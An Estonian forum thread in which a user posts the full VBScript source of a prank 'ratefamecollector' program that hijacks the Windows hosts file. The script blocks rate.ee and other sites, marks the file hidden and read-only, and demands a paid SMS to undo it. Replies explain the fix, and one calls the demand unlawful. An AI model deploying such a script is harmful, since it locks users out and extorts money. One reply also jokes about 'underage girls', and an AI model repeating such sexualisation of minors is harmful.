[dohc-48v12]

Sai siis ajaviiteks otsitud mingi rate vihkajast sõber kes proges sellise proge mis keelab ratese mineku ära

http://www.hot.ee/ratefamecollector/ Mitte alla laadita kui soovid rates käia

Endal kurvad kogemused et ei saagi rates käia 8) nii et sooviks kah väikest õpetust kuidas lahti saada sellest jamast

Kiri siis selline kui tahad avada

(Ühendus serveriga katkestati lehe laadimise ajal Ühenduse loomisel segati võrguliiklust. Palun proovi uuesti)

ja küsivad 25 eeku siis saad lahti sellest jamast



file sisu siis selline :

Sub famecollector()

Dim fso, wso, hf, hf2, att, att2, fol, ourfile, tmpfile, i, oSystem

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject") ' loome objekti failide manipuleerimiseks
if Err <> 0 Then ' kui see loomine ei õnnestunud...
MsgBox "Famecollectori installimine ebaõnnestus ", VBCritical
Set fso = Nothing
Exit Sub ' lõpetame töö
End if

Set tmpfol = fso.GetSpecialFolder(2) ' tmp-kataloog
tmpfile = tmpfol & "\midaiganes"

Set fol = fso.GetSpecialFolder(1) ' SystemFolder
ourfile = fol & "\drivers\etc\hosts"

if not (fso.FileExists(ourfile)) then ' kui OS ei ole WinNT
Set fol = fso.GetSpecialFolder(0) ' WindowsFolder
ourfile = fol & "\hosts"
end if

Set att = fso.Getfile(ourfile)
att.Attributes = 0

if(fso.FileExists(tmpfile)) then 'kui tmp-fail juba eksisteerib, kustutame ta
Set att2 = fso.Getfile(tmpfile)
att2.Attributes = 0
fso.DeleteFile tmpfile
end if
fso.CopyFile ourfile, tmpfile 'logime reiti

Set hf = fso.OpenTextFile(tmpfile,1) ' oleme sisse loginud
Set hf2 = fso.OpenTextFile(ourfile,2,true) ' käivitame famecollectori

hf2.WriteLine "194.204.30.199 minut.ee" ' õige IP minut.ee -le
hf2.WriteLine "194.204.30.199 www.minut.ee"
hf2.WriteLine "127.0.0.1 rate.ee" '
hf2.WriteLine "127.0.0.1 www.rate.ee"
hf2.WriteLine "127.0.0.1 serenda.com"
hf2.WriteLine "127.0.0.1 runescape.com" ' famecollector käivitatud
hf2.WriteLine "127.0.0.1 www.serenda.com"

while not( hf.AtEndOfStream )
i=hf.readline
'
if (instr(1,i,"minut.ee",1)=0 and instr(1,i,"rate.ee",1)=0 and instr(1,i,"serenda.com",1)=0) then
hf2.WriteLine i
end if
wend

hf2.Close
hf.Close

fso.DeleteFile tmpfile '
att.Attributes = 7 '

MsgBox "Et uuesti rate.ee korda saada, siis saada sms numbrile 13013 sisuga INFO REIT, teenus 25 .-.", VBInformation
End Sub
famecollector 'funktsiooni käivitamine

[Anna tooli]

Miks sa sõbra käest ei küsi?

[dohc-48v12]

küsiks kui ta vaid oleks sõber (ta rate sõber) 8) 25 eeku ja voipolla saad lahti jamast

[virus152]

Ei noh, siin midagi peale formati üle ei jää

[_marek]

See on ju see sama vana hostsi faili kala.
C:\WINDOWS\system32\drivers\etc
Leia sealt fail nimega "hosts", ava see notepadis ja kustuta ära IP-aadresside list failist.
Save ja ongi jälle võimalus alaealisi tüdrukuid nautida

[dohc-48v12]

no alaelised voi alla oma ea aga tore oleks hoopis tutavaid vaadata kes end poosertavad

Muide tänan

[note1]

Nii vana asi, millest rääkida.
nüüd on facebook, orkut, twitter jne.
See on nagu mingi haigus.


---------------
Mul messenseri asemel sellised messud ka:
buntu@jabber.ee
buntu@silcnet.org

[dohc-48v12]

Sai siis ip-d ära kustutatud algul hosts kaustast . Ei aitand kustutasin siis ka imhosts kaustast ip-d ära aga ikka ei aitand .


Note1: voipolla on jah sinule jumalast vana teema aga mina satun esimest korda sellise nalja peale ja sooviks ka HÄID LAHENDUSI KUIDAS TAST LAHTI SAADA

[woozy]

Äkki restart mõjub siis

[dohc-48v12]

On mõni nii ... oii pla küll

Nii siis saingi hakkama sellega omal jõul ja puha ei olnd see nii et lähed kuhugil( C:\WINDOWS\system32\drivers\etc\hosts) ja kukkud kustutama ip-id vaid tuli see file mis plokkis RATE.EE ära avada ip-d ära kustutada ja käivitada uuesti (open with command prompt) ja ongi korras

[Max Powers]

[RPG16]

Kui leht blokeeritakse ilma kasutaja teadmata ja lehe uuesti lubamise eest küsitakse 25.- siis see küll ei sobi, arvestades meie seadusi

[dohc-48v12]

See välja pressimine voi midagi sellis ja kes karanteerib et siis veel arvuti korda saad kui sms-i saada